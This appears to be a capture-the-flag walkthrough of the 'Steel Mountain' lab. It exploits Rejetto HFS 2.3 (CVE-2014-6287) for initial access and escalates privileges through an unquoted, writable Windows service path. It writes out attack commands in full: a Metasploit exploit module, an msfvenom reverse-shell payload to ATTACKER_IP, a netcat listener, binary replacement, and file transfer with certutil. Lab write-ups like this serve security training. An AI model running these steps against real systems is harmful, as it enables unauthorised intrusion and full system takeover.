Steel Mountain
Tasks:
- Introduction:
- Just visit ip in browser and reverse image search in google after downloading picture - Bill Harper
- Initial Access:
- Do
nmap -sC -sV -T5 ip and answer the question, visit 8080 port we get server is running rejetto http file server version 2.3
- Search Exploit-DB for rejetto and find CVE - CVE-2014-6287
- Search in msfconsole for exploit ,
use exploit/windows/http/rejetto_hfs_exec, set RHOSTS and PORT details of victim and run to gain meterpreter shell, use shell ,to switch to cmd and go to bill's desktop , find user.txt and submit.
- Privilege Escalation:
upload PowerUp.ps1 from meterpreter.
load powershell and type powershell_shell to get powershell.
- Execute
./PowerUp.ps1 and run Invoke-AllChecks - AdvancedSystemCareService9 is unquoted service with writable permission, stop the service using sc stop AdvancedSystemCareService9.
- Generate malicious exe with
msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai LHOST=ATTACKER_IP LPORT=1337 -f exe -o ASCService.exe
- Copy the the malicious binary to victim machine and replace in service path.
- Start netcat listener in attacker machine -
nc -nvlp 1337
- Start service in victim machine using
sc start AdvancedSystemCareService9
- Check netcat terminal - You have root access, go to Administrator desktop , find root.txt and submit root flag !!!.
- Access and Escalation Without Metasploit:
- Instead of using meterpreter use exploit-db code, host ncat.exe in port 80 using python simple httpserver and gain shell .
- Copy winPEAS binary to victim using certutil or any other technique and run - You will get same result that AdvancedSystemCareService9 is unquoted service with writable permission
- Now proceed from msvenom payload generation as done in task 3 to get root.
- Get-Service is used to find service names.